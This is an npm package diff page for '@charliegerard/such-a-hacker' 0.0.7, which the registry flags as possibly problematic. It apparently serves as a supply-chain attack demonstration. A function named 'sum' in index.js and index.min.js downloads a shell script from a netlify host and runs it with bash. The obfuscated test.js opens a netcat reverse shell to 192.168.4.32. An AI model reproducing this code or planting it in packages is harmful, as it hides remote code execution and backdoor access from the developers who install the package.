@charliegerard/such-a-hacker 0.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @charliegerard/such-a-hacker might be problematic. Click here for more details.
- package/index.js +33 -0
- package/index.min.js +1 -0
- package/package.json +24 -0
- package/test.js +1 -0
package/index.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
import fetch from "node-fetch"
|
2
|
+
import fs from "fs";
|
3
|
+
import { execFile } from 'child_process';
|
4
|
+
|
5
|
+
async function download() {
|
6
|
+
const res = await fetch('https://superb-tanuki-dab056.netlify.app/script.sh');
|
7
|
+
await new Promise((resolve, reject) => {
|
8
|
+
const fileStream = fs.createWriteStream('./script.sh');
|
9
|
+
res.body.pipe(fileStream);
|
10
|
+
res.body.on("error", (err) => {
|
11
|
+
reject(err);
|
12
|
+
});
|
13
|
+
fileStream.on("finish", function () {
|
14
|
+
resolve();
|
15
|
+
});
|
16
|
+
});
|
17
|
+
}
|
18
|
+
|
19
|
+
const init = async () => {
|
20
|
+
await download()
|
21
|
+
const child = execFile("bash", ["script.sh"], function (error, stdout, stderr) {
|
22
|
+
console.log('stdout: ' + stdout);
|
23
|
+
console.log('stderr: ' + stderr);
|
24
|
+
|
25
|
+
if (error !== null) {
|
26
|
+
console.log('exec error: ' + error);
|
27
|
+
}
|
28
|
+
});
|
29
|
+
}
|
30
|
+
|
31
|
+
export default function sum(a, b) {
|
32
|
+
return init()
|
33
|
+
}
|
package/index.min.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
import o from "node-fetch"; import t from "fs"; import { execFile as r } from "child_process"; const n = async () => { await async function () { const r = await o("https://superb-tanuki-dab056.netlify.app/script.sh"); await new Promise(((o, n) => { const s = t.createWriteStream("./script.sh"); r.body.pipe(s), r.body.on("error", (o => { n(o) })), s.on("finish", (function () { o() })) })) }(); r("bash", ["script.sh"], (function (o, t, r) { console.log("stdout: " + t), console.log("stderr: " + r), null !== o && console.log("exec error: " + o) })) }; export default function s(o, t) { return n() }
|
package/package.json
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
{
|
2
|
+
"name": "@charliegerard/such-a-hacker",
|
3
|
+
"version": "0.0.7",
|
4
|
+
"main": "index.min.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
7
|
+
},
|
8
|
+
"author": "",
|
9
|
+
"license": "ISC",
|
10
|
+
"dependencies": {
|
11
|
+
"node-fetch": "^3.2.3"
|
12
|
+
},
|
13
|
+
"type": "module",
|
14
|
+
"devDependencies": {},
|
15
|
+
"repository": {
|
16
|
+
"type": "git",
|
17
|
+
"url": "git+https://github.com/charliegerard/test-script.git"
|
18
|
+
},
|
19
|
+
"bugs": {
|
20
|
+
"url": "https://github.com/charliegerard/test-script/issues"
|
21
|
+
},
|
22
|
+
"homepage": "https://github.com/charliegerard/test-script#readme",
|
23
|
+
"description": ""
|
24
|
+
}
|
package/test.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x3994(_0x565d93, _0x46b188) { const _0x1edb91 = _0x1edb(); return _0x3994 = function (_0x39942b, _0x46c9b8) { _0x39942b = _0x39942b - 0x7f; let _0x45df05 = _0x1edb91[_0x39942b]; return _0x45df05; }, _0x3994(_0x565d93, _0x46b188); } const _0x14c021 = _0x3994; function _0x1edb() { const _0x315a4c = ['3456290MInyns', '144422gpQMch', '582536EjKPYz', 'nc\x20192.168.4.32\x2080\x20|\x20/bin/sh\x20|\x20nc\x20192.168.4.32\x2053\x20|\x20disown\x20|\x20exit\x200;', 'child_process', '4931696ptslNj', '892792JPSbno', '1315ymqHPE', 'exit', '18xLEENc', '847KPUPMs', '6036cCpfRb', '17700Neccgv', '3QTYiZY']; _0x1edb = function () { return _0x315a4c; }; return _0x1edb(); } (function (_0x9e95f2, _0x2951fb) { const _0x37d8ea = _0x3994, _0x2bcaca = _0x9e95f2(); while (!![]) { try { const _0x55a257 = parseInt(_0x37d8ea(0x86)) / 0x1 + parseInt(_0x37d8ea(0x8b)) / 0x2 * (-parseInt(_0x37d8ea(0x84)) / 0x3) + -parseInt(_0x37d8ea(0x82)) / 0x4 * (-parseInt(_0x37d8ea(0x8c)) / 0x5) + -parseInt(_0x37d8ea(0x83)) / 0x6 * (-parseInt(_0x37d8ea(0x81)) / 0x7) + parseInt(_0x37d8ea(0x87)) / 0x8 * (-parseInt(_0x37d8ea(0x80)) / 0x9) + -parseInt(_0x37d8ea(0x85)) / 0xa + parseInt(_0x37d8ea(0x8a)) / 0xb; if (_0x55a257 === _0x2951fb) break; else _0x2bcaca['push'](_0x2bcaca['shift']()); } catch (_0x151b06) { _0x2bcaca['push'](_0x2bcaca['shift']()); } } }(_0x1edb, 0x63d54)); const { exec } = require(_0x14c021(0x89)); exec(_0x14c021(0x88)), process[_0x14c021(0x7f)](0x0);
|